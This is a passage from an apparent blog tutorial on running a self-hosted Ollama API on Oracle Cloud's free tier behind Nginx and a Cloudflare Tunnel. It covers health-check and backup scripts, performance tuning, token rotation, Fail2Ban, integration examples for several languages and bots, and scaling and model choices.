<span class="hljs-built_in">echo</span> <span class="hljs-string">"Date: <span class="hljs-subst">$(date)</span>"</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>

<span class="hljs-comment"># Check Ollama service</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"1. Ollama Service Status:"</span>
systemctl is-active ollama &amp;&amp; <span class="hljs-built_in">echo</span> <span class="hljs-string">"✅ Running"</span> || <span class="hljs-built_in">echo</span> <span class="hljs-string">"❌ Stopped"</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>

<span class="hljs-comment"># Check Ollama API</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"2. Ollama API Status:"</span>
curl -s http://localhost:11434/api/tags &gt; /dev/null &amp;&amp; <span class="hljs-built_in">echo</span> <span class="hljs-string">"✅ Responding"</span> || <span class="hljs-built_in">echo</span> <span class="hljs-string">"❌ Not responding"</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>

<span class="hljs-comment"># Check available models</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"3. Available Models:"</span>
ollama list
<span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>

<span class="hljs-comment"># Check memory usage</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"4. Memory Usage:"</span>
free -h | grep Mem
<span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>

<span class="hljs-comment"># Check disk space</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"5. Disk Space:"</span>
df -h / | tail -1
<span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>

<span class="hljs-comment"># Check Nginx</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"6. Nginx Status:"</span>
systemctl is-active nginx &amp;&amp; <span class="hljs-built_in">echo</span> <span class="hljs-string">"✅ Running"</span> || <span class="hljs-built_in">echo</span> <span class="hljs-string">"❌ Stopped"</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>

<span class="hljs-comment"># Check Cloudflare Tunnel</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"7. Cloudflare Tunnel Status:"</span>
systemctl is-active cloudflared &amp;&amp; <span class="hljs-built_in">echo</span> <span class="hljs-string">"✅ Running"</span> || <span class="hljs-built_in">echo</span> <span class="hljs-string">"❌ Stopped"</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>

<span class="hljs-comment"># Check Open WebUI</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"8. Open WebUI Status:"</span>
docker ps | grep open-webui &gt; /dev/null &amp;&amp; <span class="hljs-built_in">echo</span> <span class="hljs-string">"✅ Running"</span> || <span class="hljs-built_in">echo</span> <span class="hljs-string">"❌ Stopped"</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>

<span class="hljs-built_in">echo</span> <span class="hljs-string">"=== End Health Check ==="</span>
</code></pre>
<p>Make executable:</p>
<p>bash</p>
<pre><code class="lang-bash">chmod +x ~/check-ollama-health.sh
</code></pre>
<p>Run daily:</p>
<p>bash</p>
<pre><code class="lang-bash">crontab -e
</code></pre>
<p>Add:</p>
<pre><code class="lang-bash">0 9 * * * /home/ubuntu/check-ollama-health.sh &gt;&gt; /home/ubuntu/health-check.log 2&gt;&amp;1
</code></pre>
<h3 id="heading-log-rotation">Log Rotation</h3>
<p>Prevent logs from filling disk:</p>
<p>bash</p>
<pre><code class="lang-bash">sudo nano /etc/logrotate.d/ollama-api
</code></pre>
<pre><code class="lang-bash">/var/<span class="hljs-built_in">log</span>/nginx/ollama-api-*.<span class="hljs-built_in">log</span> {
    daily
    rotate 7
    compress
    delaycompress
    notifempty
    missingok
    sharedscripts
    postrotate
        [ -f /var/run/nginx.pid ] &amp;&amp; <span class="hljs-built_in">kill</span> -USR1 $(cat /var/run/nginx.pid)
    endscript
}
</code></pre>
<h3 id="heading-backup-configuration">Backup Configuration</h3>
<p>Create a backup script:</p>
<p>bash</p>
<pre><code class="lang-bash">nano ~/backup-ollama-config.sh
</code></pre>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-meta">#!/bin/bash</span>

BACKUP_DIR=<span class="hljs-string">"/home/ubuntu/ollama-backups"</span>
DATE=$(date +%Y%m%d_%H%M%S)

mkdir -p <span class="hljs-variable">$BACKUP_DIR</span>

<span class="hljs-comment"># Backup Ollama config</span>
sudo cp /etc/systemd/system/ollama.service.d/override.conf <span class="hljs-variable">$BACKUP_DIR</span>/ollama-override-<span class="hljs-variable">$DATE</span>.conf

<span class="hljs-comment"># Backup Nginx config</span>
sudo cp /etc/nginx/sites-available/ollama-api <span class="hljs-variable">$BACKUP_DIR</span>/nginx-ollama-api-<span class="hljs-variable">$DATE</span>.conf

<span class="hljs-comment"># Backup Cloudflare Tunnel config</span>
sudo cp /etc/cloudflared/config.yml <span class="hljs-variable">$BACKUP_DIR</span>/cloudflared-config-<span class="hljs-variable">$DATE</span>.yml

<span class="hljs-comment"># Backup Open WebUI data (Docker volume)</span>
docker run --rm -v open-webui:/data -v <span class="hljs-variable">$BACKUP_DIR</span>:/backup alpine tar czf /backup/open-webui-data-<span class="hljs-variable">$DATE</span>.tar.gz -C /data .

<span class="hljs-built_in">echo</span> <span class="hljs-string">"Backup completed: <span class="hljs-variable">$DATE</span>"</span>
ls -lh <span class="hljs-variable">$BACKUP_DIR</span>/*<span class="hljs-variable">$DATE</span>*
</code></pre>
<p>Make executable:</p>
<p>bash</p>
<pre><code class="lang-bash">chmod +x ~/backup-ollama-config.sh
</code></pre>
<p>Run weekly:</p>
<p>bash</p>
<pre><code class="lang-bash">crontab -e
</code></pre>
<p>Add:</p>
<pre><code class="lang-bash">0 2 * * 0 /home/ubuntu/backup-ollama-config.sh
</code></pre>
<hr />
<h2 id="heading-performance-optimization">Performance Optimization</h2>
<h3 id="heading-1-optimize-ollama-settings">1. Optimize Ollama Settings</h3>
<p>bash</p>
<pre><code class="lang-bash">sudo systemctl edit ollama
</code></pre>
<p>Add performance tuning:</p>
<p>ini</p>
<pre><code class="lang-ini"><span class="hljs-section">[Service]</span>
<span class="hljs-attr">Environment</span>=<span class="hljs-string">"OLLAMA_HOST=0.0.0.0:11434"</span>
<span class="hljs-attr">Environment</span>=<span class="hljs-string">"OLLAMA_MAX_LOADED_MODELS=1"</span>
<span class="hljs-attr">Environment</span>=<span class="hljs-string">"OLLAMA_NUM_PARALLEL=2"</span>
<span class="hljs-attr">Environment</span>=<span class="hljs-string">"OLLAMA_FLASH_ATTENTION=1"</span>
<span class="hljs-attr">Environment</span>=<span class="hljs-string">"OLLAMA_MAX_QUEUE=10"</span>
</code></pre>
<p><strong>Parameters Explained:</strong></p>
<ul>
<li><p><code>OLLAMA_MAX_LOADED_MODELS=1</code>: Keep only 1 model in memory</p>
</li>
<li><p><code>OLLAMA_NUM_PARALLEL=2</code>: Handle 2 requests simultaneously</p>
</li>
<li><p><code>OLLAMA_FLASH_ATTENTION=1</code>: Use optimized attention mechanism</p>
</li>
<li><p><code>OLLAMA_MAX_QUEUE=10</code>: Queue up to 10 requests</p>
</li>
</ul>
<p>Restart:</p>
<p>bash</p>
<pre><code class="lang-bash">sudo systemctl daemon-reload
sudo systemctl restart ollama
</code></pre>
<h3 id="heading-2-nginx-performance-tuning">2. Nginx Performance Tuning</h3>
<p>bash</p>
<pre><code class="lang-bash">sudo nano /etc/nginx/nginx.conf
</code></pre>
<p>Optimize worker settings:</p>
<p>nginx</p>
<pre><code class="lang-nginx"><span class="hljs-attribute">user</span> www-data;
<span class="hljs-attribute">worker_processes</span> auto;
<span class="hljs-attribute">worker_rlimit_nofile</span> <span class="hljs-number">65535</span>;

<span class="hljs-section">events</span> {
    <span class="hljs-attribute">worker_connections</span> <span class="hljs-number">4096</span>;
    <span class="hljs-attribute">multi_accept</span> <span class="hljs-literal">on</span>;
    <span class="hljs-attribute">use</span> <span class="hljs-literal">epoll</span>;
}

<span class="hljs-section">http</span> {
    <span class="hljs-comment"># Keepalive</span>
    <span class="hljs-attribute">keepalive_timeout</span> <span class="hljs-number">65</span>;
    <span class="hljs-attribute">keepalive_requests</span> <span class="hljs-number">100</span>;

    <span class="hljs-comment"># Buffers</span>
    <span class="hljs-attribute">client_body_buffer_size</span> <span class="hljs-number">128k</span>;
    <span class="hljs-attribute">client_max_body_size</span> <span class="hljs-number">100m</span>;
    <span class="hljs-attribute">client_header_buffer_size</span> <span class="hljs-number">1k</span>;
    <span class="hljs-attribute">large_client_header_buffers</span> <span class="hljs-number">4</span> <span class="hljs-number">16k</span>;

    <span class="hljs-comment"># Timeouts</span>
    <span class="hljs-attribute">send_timeout</span> <span class="hljs-number">300s</span>;
    <span class="hljs-attribute">client_body_timeout</span> <span class="hljs-number">300s</span>;
    <span class="hljs-attribute">client_header_timeout</span> <span class="hljs-number">300s</span>;

    <span class="hljs-comment"># Compression</span>
    <span class="hljs-attribute">gzip</span> <span class="hljs-literal">on</span>;
    <span class="hljs-attribute">gzip_vary</span> <span class="hljs-literal">on</span>;
    <span class="hljs-attribute">gzip_proxied</span> any;
    <span class="hljs-attribute">gzip_comp_level</span> <span class="hljs-number">6</span>;
    <span class="hljs-attribute">gzip_types</span> text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;

    <span class="hljs-comment"># Rest of your config...</span>
}
</code></pre>
<p>Test and restart:</p>
<p>bash</p>
<pre><code class="lang-bash">sudo nginx -t
sudo systemctl restart nginx
</code></pre>
<h3 id="heading-3-docker-performance">3. Docker Performance</h3>
<p>Limit Open WebUI resource usage:</p>
<p>bash</p>
<pre><code class="lang-bash">docker stop open-webui
docker rm open-webui

docker run -d \
  --name open-webui \
  -p 4000:8080 \
  -v open-webui:/app/backend/data \
  -e OLLAMA_BASE_URL=http://172.17.0.1:11434 \
  --memory=<span class="hljs-string">"2g"</span> \
  --cpus=<span class="hljs-string">"2.0"</span> \
  --restart always \
  ghcr.io/open-webui/open-webui:main
</code></pre>
<hr />
<h2 id="heading-security-best-practices">Security Best Practices</h2>
<h3 id="heading-1-rotate-api-tokens-regularly">1. Rotate API Tokens Regularly</h3>
<p>Create a token rotation script:</p>
<p>bash</p>
<pre><code class="lang-bash">nano ~/rotate-api-token.sh
</code></pre>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-meta">#!/bin/bash</span>

<span class="hljs-comment"># Generate new token</span>
NEW_TOKEN=$(openssl rand -hex 32)

<span class="hljs-built_in">echo</span> <span class="hljs-string">"New API Token: <span class="hljs-variable">$NEW_TOKEN</span>"</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"Update the following locations:"</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"1. /etc/nginx/sites-available/ollama-api"</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"2. Your application configuration"</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"3. Postman/API client settings"</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">""</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"Steps:"</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"sudo nano /etc/nginx/sites-available/ollama-api"</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"# Replace the Bearer token with: <span class="hljs-variable">$NEW_TOKEN</span>"</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"sudo nginx -t"</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">"sudo systemctl restart nginx"</span>
</code></pre>
<p>Make executable:</p>
<p>bash</p>
<pre><code class="lang-bash">chmod +x ~/rotate-api-token.sh
</code></pre>
<p>Run monthly and update token:</p>
<p>bash</p>
<pre><code class="lang-bash">./rotate-api-token.sh
</code></pre>
<h3 id="heading-2-enable-fail2ban-for-nginx">2. Enable Fail2Ban for Nginx</h3>
<p>Protect against brute force attacks:</p>
<p>bash</p>
<pre><code class="lang-bash">sudo apt install -y fail2ban
</code></pre>
<p>Create Nginx jail:</p>
<p>bash</p>
<pre><code class="lang-bash">sudo nano /etc/fail2ban/jail.local
</code></pre>
<p>ini</p>
<pre><code class="lang-ini"><span class="hljs-section">[nginx-auth]</span>
<span class="hljs-attr">enabled</span> = <span class="hljs-literal">true</span>
<span class="hljs-attr">filter</span> = nginx-auth
<span class="hljs-attr">logpath</span> = /var/log/nginx/ollama-api-access.log
<span class="hljs-attr">maxretry</span> = <span class="hljs-number">5</span>
<span class="hljs-attr">bantime</span> = <span class="hljs-number">3600</span>
<span class="hljs-attr">findtime</span> = <span class="hljs-number">600</span>
</code></pre>
<p>Create filter:</p>
<p>bash</p>
<pre><code class="lang-bash">sudo nano /etc/fail2ban/filter.d/nginx-auth.conf
</code></pre>
<p>ini</p>
<pre><code class="lang-ini"><span class="hljs-section">[Definition]</span>
<span class="hljs-attr">failregex</span> = ^&lt;HOST&gt; .* <span class="hljs-number">401</span> .*$
ignoreregex =
</code></pre>
<p>Restart Fail2Ban:</p>
<p>bash</p>
<pre><code class="lang-bash">sudo systemctl restart fail2ban
sudo fail2ban-client status nginx-auth
</code></pre>
<h3 id="heading-3-regular-security-updates">3. Regular Security Updates</h3>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Weekly security updates</span>
sudo apt update
sudo apt upgrade -y

<span class="hljs-comment"># Update Ollama</span>
curl -fsSL https://ollama.com/install.sh | sh

<span class="hljs-comment"># Update Cloudflared</span>
wget https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb
sudo dpkg -i cloudflared-linux-amd64.deb
sudo systemctl restart cloudflared

<span class="hljs-comment"># Update Docker images</span>
docker pull ghcr.io/open-webui/open-webui:main
docker stop open-webui
docker rm open-webui
<span class="hljs-comment"># Re-run docker run command with new image</span>
</code></pre>
<h3 id="heading-4-audit-logs-regularly">4. Audit Logs Regularly</h3>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Check who accessed your API</span>
sudo grep <span class="hljs-string">"Bearer"</span> /var/<span class="hljs-built_in">log</span>/nginx/ollama-api-access.log | tail -20

<span class="hljs-comment"># Check failed authentication attempts</span>
sudo grep <span class="hljs-string">"401"</span> /var/<span class="hljs-built_in">log</span>/nginx/ollama-api-access.log | tail -20

<span class="hljs-comment"># Check most active IPs</span>
sudo awk <span class="hljs-string">'{print $1}'</span> /var/<span class="hljs-built_in">log</span>/nginx/ollama-api-access.log | sort | uniq -c | sort -rn | head -10
</code></pre>
<hr />
<h2 id="heading-cost-analysis">Cost Analysis</h2>
<h3 id="heading-oracle-cloud-free-tier">Oracle Cloud Free Tier</h3>
<p><strong>What you get (forever free):</strong></p>
<ul>
<li><p>4 ARM-based Ampere A1 cores (up to 24GB RAM total)</p>
</li>
<li><p>200GB block storage</p>
</li>
<li><p>10TB outbound data transfer per month</p>
</li>
<li><p>We're using: 4 cores, 11GB RAM, ~20GB storage</p>
</li>
</ul>
<p><strong>Monthly costs: $0.00</strong> ✅</p>
<h3 id="heading-cloudflare-free-tier">Cloudflare Free Tier</h3>
<p><strong>What you get:</strong></p>
<ul>
<li><p>Unlimited bandwidth through tunnel</p>
</li>
<li><p>DDoS protection</p>
</li>
<li><p>SSL certificates</p>
</li>
<li><p>CDN caching</p>
</li>
</ul>
<p><strong>Monthly costs: $0.00</strong> ✅</p>
<h3 id="heading-domain-cost">Domain Cost</h3>
<p><strong>Variable cost:</strong></p>
<ul>
<li><p><code>.com.np</code> domains: Usually free or ~$10/year</p>
</li>
<li><p>Your domain: <code>kumarchaudhary.com.np</code></p>
</li>
</ul>
<h3 id="heading-total-monthly-cost-0-excluding-domain-registration">Total Monthly Cost: $0 (excluding domain registration)</h3>
<p><strong>Comparison with OpenAI API:</strong></p>
<ul>
<li><p>GPT-4 Turbo: $10/1M input tokens, $30/1M output tokens</p>
</li>
<li><p>Average conversation (~1000 tokens): $0.04</p>
</li>
<li><p>1000 conversations/month: <strong>$40/month</strong></p>
</li>
</ul>
<p><strong>Your setup:</strong></p>
<ul>
<li><p>Unlimited conversations</p>
</li>
<li><p>Zero per-request cost</p>
</li>
<li><p>Full data privacy</p>
</li>
</ul>
<hr />
<h2 id="heading-use-cases-and-integration-examples">Use Cases and Integration Examples</h2>
<h3 id="heading-1-nodejs-integration">1. Node.js Integration</h3>
<p>javascript</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// ollama-client.js</span>
<span class="hljs-keyword">const</span> OLLAMA_API_URL = <span class="hljs-string">'https://aiapi.kumarchaudhary.com.np'</span>;
<span class="hljs-keyword">const</span> API_TOKEN = process.env.OLLAMA_API_KEY;

<span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">chat</span>(<span class="hljs-params">message</span>) </span>{
  <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> fetch(<span class="hljs-string">`<span class="hljs-subst">${OLLAMA_API_URL}</span>/api/chat`</span>, {
    <span class="hljs-attr">method</span>: <span class="hljs-string">'POST'</span>,
    <span class="hljs-attr">headers</span>: {
      <span class="hljs-string">'Content-Type'</span>: <span class="hljs-string">'application/json'</span>,
      <span class="hljs-string">'Authorization'</span>: <span class="hljs-string">`Bearer <span class="hljs-subst">${API_TOKEN}</span>`</span>
    },
    <span class="hljs-attr">body</span>: <span class="hljs-built_in">JSON</span>.stringify({
      <span class="hljs-attr">model</span>: <span class="hljs-string">'deepseek-coder-v2'</span>,
      <span class="hljs-attr">messages</span>: [
        { <span class="hljs-attr">role</span>: <span class="hljs-string">'user'</span>, <span class="hljs-attr">content</span>: message }
      ],
      <span class="hljs-attr">stream</span>: <span class="hljs-literal">false</span>
    })
  });

  <span class="hljs-keyword">const</span> data = <span class="hljs-keyword">await</span> response.json();
  <span class="hljs-keyword">return</span> data.message.content;
}

<span class="hljs-comment">// Usage</span>
chat(<span class="hljs-string">'Explain async/await in JavaScript'</span>)
  .then(<span class="hljs-function"><span class="hljs-params">response</span> =&gt;</span> <span class="hljs-built_in">console</span>.log(response))
  .catch(<span class="hljs-function"><span class="hljs-params">error</span> =&gt;</span> <span class="hljs-built_in">console</span>.error(<span class="hljs-string">'Error:'</span>, error));
</code></pre>
<h3 id="heading-2-python-integration">2. Python Integration</h3>
<p>python</p>
<pre><code class="lang-python"><span class="hljs-comment"># ollama_client.py</span>
<span class="hljs-keyword">import</span> os
<span class="hljs-keyword">import</span> requests

OLLAMA_API_URL = <span class="hljs-string">'https://aiapi.kumarchaudhary.com.np'</span>
API_TOKEN = os.getenv(<span class="hljs-string">'OLLAMA_API_KEY'</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">chat</span>(<span class="hljs-params">message, system_prompt=None</span>):</span>
    messages = []

    <span class="hljs-keyword">if</span> system_prompt:
        messages.append({<span class="hljs-string">'role'</span>: <span class="hljs-string">'system'</span>, <span class="hljs-string">'content'</span>: system_prompt})

    messages.append({<span class="hljs-string">'role'</span>: <span class="hljs-string">'user'</span>, <span class="hljs-string">'content'</span>: message})

    response = requests.post(
        <span class="hljs-string">f'<span class="hljs-subst">{OLLAMA_API_URL}</span>/api/chat'</span>,
        headers={
            <span class="hljs-string">'Content-Type'</span>: <span class="hljs-string">'application/json'</span>,
            <span class="hljs-string">'Authorization'</span>: <span class="hljs-string">f'Bearer <span class="hljs-subst">{API_TOKEN}</span>'</span>
        },
        json={
            <span class="hljs-string">'model'</span>: <span class="hljs-string">'deepseek-coder-v2'</span>,
            <span class="hljs-string">'messages'</span>: messages,
            <span class="hljs-string">'stream'</span>: <span class="hljs-literal">False</span>
        }
    )

    response.raise_for_status()
    <span class="hljs-keyword">return</span> response.json()[<span class="hljs-string">'message'</span>][<span class="hljs-string">'content'</span>]

<span class="hljs-comment"># Usage</span>
<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
    result = chat(
        <span class="hljs-string">'Write a Python function to find prime numbers'</span>,
        system_prompt=<span class="hljs-string">'You are an expert Python developer'</span>
    )
    print(result)
</code></pre>
<h3 id="heading-3-bash-script-integration">3. Bash Script Integration</h3>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-meta">#!/bin/bash</span>
<span class="hljs-comment"># ask-ai.sh</span>

OLLAMA_API_URL=<span class="hljs-string">"https://aiapi.kumarchaudhary.com.np"</span>
API_TOKEN=<span class="hljs-string">"YOUR_TOKEN_HERE"</span>

<span class="hljs-function"><span class="hljs-title">ask_ai</span></span>() {
    <span class="hljs-built_in">local</span> question=<span class="hljs-string">"<span class="hljs-variable">$1</span>"</span>

    curl -s <span class="hljs-string">"<span class="hljs-variable">$OLLAMA_API_URL</span>/api/chat"</span> \
      -H <span class="hljs-string">"Authorization: Bearer <span class="hljs-variable">$API_TOKEN</span>"</span> \
      -H <span class="hljs-string">"Content-Type: application/json"</span> \
      -d <span class="hljs-string">"{
        \"model\": \"deepseek-coder-v2\",
        \"messages\": [{\"role\": \"user\", \"content\": \"<span class="hljs-variable">$question</span>\"}],
        \"stream\": false
      }"</span> | jq -r <span class="hljs-string">'.message.content'</span>
}

<span class="hljs-comment"># Usage</span>
ask_ai <span class="hljs-string">"Explain what the ls command does in Linux"</span>
</code></pre>
<p>Make executable:</p>
<p>bash</p>
<pre><code class="lang-bash">chmod +x ask-ai.sh
./ask-ai.sh
</code></pre>
<h3 id="heading-4-build-a-slack-bot">4. Build a Slack Bot</h3>
<p>javascript</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// slack-ollama-bot.js</span>
<span class="hljs-keyword">const</span> { App } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'@slack/bolt'</span>);

<span class="hljs-keyword">const</span> app = <span class="hljs-keyword">new</span> App({
  <span class="hljs-attr">token</span>: process.env.SLACK_BOT_TOKEN,
  <span class="hljs-attr">signingSecret</span>: process.env.SLACK_SIGNING_SECRET
});

<span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">askOllama</span>(<span class="hljs-params">question</span>) </span>{
  <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> fetch(<span class="hljs-string">'https://aiapi.kumarchaudhary.com.np/api/chat'</span>, {
    <span class="hljs-attr">method</span>: <span class="hljs-string">'POST'</span>,
    <span class="hljs-attr">headers</span>: {
      <span class="hljs-string">'Content-Type'</span>: <span class="hljs-string">'application/json'</span>,
      <span class="hljs-string">'Authorization'</span>: <span class="hljs-string">`Bearer <span class="hljs-subst">${process.env.OLLAMA_API_KEY}</span>`</span>
    },
    <span class="hljs-attr">body</span>: <span class="hljs-built_in">JSON</span>.stringify({
      <span class="hljs-attr">model</span>: <span class="hljs-string">'deepseek-coder-v2'</span>,
      <span class="hljs-attr">messages</span>: [{ <span class="hljs-attr">role</span>: <span class="hljs-string">'user'</span>, <span class="hljs-attr">content</span>: question }],
      <span class="hljs-attr">stream</span>: <span class="hljs-literal">false</span>
    })
  });

  <span class="hljs-keyword">const</span> data = <span class="hljs-keyword">await</span> response.json();
  <span class="hljs-keyword">return</span> data.message.content;
}

app.message(<span class="hljs-regexp">/ask:(.*)/</span>, <span class="hljs-keyword">async</span> ({ message, say }) =&gt; {
  <span class="hljs-keyword">const</span> question = message.text.replace(<span class="hljs-regexp">/ask:\s*/</span>, <span class="hljs-string">''</span>);
  <span class="hljs-keyword">const</span> answer = <span class="hljs-keyword">await</span> askOllama(question);
  <span class="hljs-keyword">await</span> say(answer);
});

(<span class="hljs-keyword">async</span> () =&gt; {
  <span class="hljs-keyword">await</span> app.start(process.env.PORT || <span class="hljs-number">3000</span>);
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'⚡️ Slack bot is running!'</span>);
})();
</code></pre>
<h3 id="heading-5-discord-bot-integration">5. Discord Bot Integration</h3>
<p>python</p>
<pre><code class="lang-python"><span class="hljs-comment"># discord_ollama_bot.py</span>
<span class="hljs-keyword">import</span> discord
<span class="hljs-keyword">import</span> os
<span class="hljs-keyword">import</span> requests

intents = discord.Intents.default()
intents.message_content = <span class="hljs-literal">True</span>
client = discord.Client(intents=intents)

OLLAMA_API_URL = <span class="hljs-string">'https://aiapi.kumarchaudhary.com.np'</span>
API_TOKEN = os.getenv(<span class="hljs-string">'OLLAMA_API_KEY'</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">ask_ollama</span>(<span class="hljs-params">question</span>):</span>
    response = requests.post(
        <span class="hljs-string">f'<span class="hljs-subst">{OLLAMA_API_URL}</span>/api/chat'</span>,
        headers={
            <span class="hljs-string">'Authorization'</span>: <span class="hljs-string">f'Bearer <span class="hljs-subst">{API_TOKEN}</span>'</span>,
            <span class="hljs-string">'Content-Type'</span>: <span class="hljs-string">'application/json'</span>
        },
        json={
            <span class="hljs-string">'model'</span>: <span class="hljs-string">'deepseek-coder-v2'</span>,
            <span class="hljs-string">'messages'</span>: [{<span class="hljs-string">'role'</span>: <span class="hljs-string">'user'</span>, <span class="hljs-string">'content'</span>: question}],
            <span class="hljs-string">'stream'</span>: <span class="hljs-literal">False</span>
        }
    )
    <span class="hljs-keyword">return</span> response.json()[<span class="hljs-string">'message'</span>][<span class="hljs-string">'content'</span>]

<span class="hljs-meta">@client.event</span>
<span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">on_message</span>(<span class="hljs-params">message</span>):</span>
    <span class="hljs-keyword">if</span> message.author == client.user:
        <span class="hljs-keyword">return</span>

    <span class="hljs-keyword">if</span> message.content.startswith(<span class="hljs-string">'!ask'</span>):
        question = message.content[<span class="hljs-number">5</span>:].strip()
        answer = ask_ollama(question)
        <span class="hljs-keyword">await</span> message.channel.send(answer)

client.run(os.getenv(<span class="hljs-string">'DISCORD_TOKEN'</span>))
</code></pre>
<hr />
<h2 id="heading-scaling-considerations">Scaling Considerations</h2>
<h3 id="heading-adding-more-models">Adding More Models</h3>
<p>You can run multiple models simultaneously (memory permitting):</p>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Pull additional models</span>
ollama pull codellama        <span class="hljs-comment"># For coding tasks</span>
ollama pull mistral          <span class="hljs-comment"># For general tasks</span>
ollama pull llama3.1         <span class="hljs-comment"># For reasoning</span>

<span class="hljs-comment"># Check total size</span>
ollama list
</code></pre>
<p><strong>Memory calculation:</strong></p>
<ul>
<li><p>Current: deepseek-coder-v2 (8.9GB)</p>
</li>
<li><p>Available: ~10GB</p>
</li>
<li><p>You can add one more small model (~2-3GB)</p>
</li>
</ul>
<p><strong>Model switching in API:</strong></p>
<p>json</p>
<pre><code class="lang-json">{
  <span class="hljs-attr">"model"</span>: <span class="hljs-string">"codellama"</span>,
  <span class="hljs-attr">"messages"</span>: [...]
}
</code></pre>
<h3 id="heading-horizontal-scaling-multiple-servers">Horizontal Scaling (Multiple Servers)</h3>
<p>For production workloads, you might need multiple servers:</p>
<p><strong>Architecture:</strong></p>
<pre><code class="lang-bash">Cloudflare Load Balancer
    ↓
Multiple Oracle Instances (each running Ollama)
    ↓
Shared PostgreSQL <span class="hljs-keyword">for</span> user data
</code></pre>
<p><strong>Load balancing with Cloudflare:</strong></p>
<ol>
<li><p>Create multiple tunnels (one per server)</p>
</li>
<li><p>Use Cloudflare Load Balancer to distribute traffic</p>
</li>
<li><p>Each tunnel points to a different Oracle instance</p>
</li>
</ol>
<h3 id="heading-vertical-scaling-more-ram">Vertical Scaling (More RAM)</h3>
<p>Upgrade to Oracle Cloud paid tier:</p>
<ul>
<li><p>8 cores, 48GB RAM: ~$50/month</p>
</li>
<li><p>Run multiple large models simultaneously</p>
</li>
<li><p>Faster response times with more parallel requests</p>
</li>
</ul>
<hr />
<h2 id="heading-alternative-models-to-try">Alternative Models to Try</h2>
<h3 id="heading-for-coding-tasks">For Coding Tasks:</h3>
<p>bash</p>
<pre><code class="lang-bash">ollama pull codellama          <span class="hljs-comment"># 7B, specialized for code</span>
ollama pull deepseek-coder     <span class="hljs-comment"># Alternative to deepseek-coder-v2</span>
ollama pull starcoder2         <span class="hljs-comment"># 3B-7B, fast coding model</span>
</code></pre>
<h3 id="heading-for-general-chat">For General Chat:</h3>
<p>bash</p>
<pre><code class="lang-bash">ollama pull llama3.1           <span class="hljs-comment"># 8B, excellent all-rounder</span>
ollama pull mistral            <span class="hljs-comment"># 7B, fast and capable</span>
ollama pull phi3               <span class="hljs-comment"># 3B, Microsoft's efficient model</span>
</code></pre>
<h3 id="heading-for-specialized-tasks">For Specialized Tasks:</h3>
<p>bash</p>
<pre><code class="lang-bash">ollama pull nous-hermes2       <span class="hljs-comment"># Instruction following</span>
ollama pull neural-chat        <span class="hljs-comment"># Conversational AI</span>
ollama pull orca-mini          <span class="hljs-comment"># Reasoning tasks</span>
</code></pre>
<h3 id="heading-model-selection-guide">Model Selection Guide:</h3>
<pre><code class="lang-bash">ModelSizeRAM NeededBest ForSpeedgemma2:2b1.6GB3GBQuick answers⚡⚡⚡⚡⚡phi3:mini2.3GB4GBEfficiency⚡⚡⚡⚡llama3.2:3b2.3GB4GBBalanced⚡⚡⚡⚡mistral4.1GB6GBGeneral use⚡⚡⚡codellama3.8GB6GBCoding⚡⚡⚡llama3.14.7GB7GBReasoning⚡⚡deepseek-coder-v28.9GB11GBAdvanced coding⚡⚡
</code></pre>
<hr />
<h2 id="heading-frequently-asked-questions">Frequently Asked Questions</h2>
<h3 id="heading-q1-can-i-use-this-in-production">Q1: Can I use this in production?</h3>
<p><strong>A:</strong> Yes, with considerations:</p>
<ul>
<li><p>✅ Good for: Internal tools, personal projects, small teams</p>
</li>
<li><p>⚠️ Consider for production:</p>
<ul>
<li><p>Add monitoring (Prometheus, Grafana)</p>
</li>
<li><p>Set up automated backups</p>
</li>
<li><p>Implement proper logging</p>
</li>
<li><p>Add alerting for downtime</p>
</li>
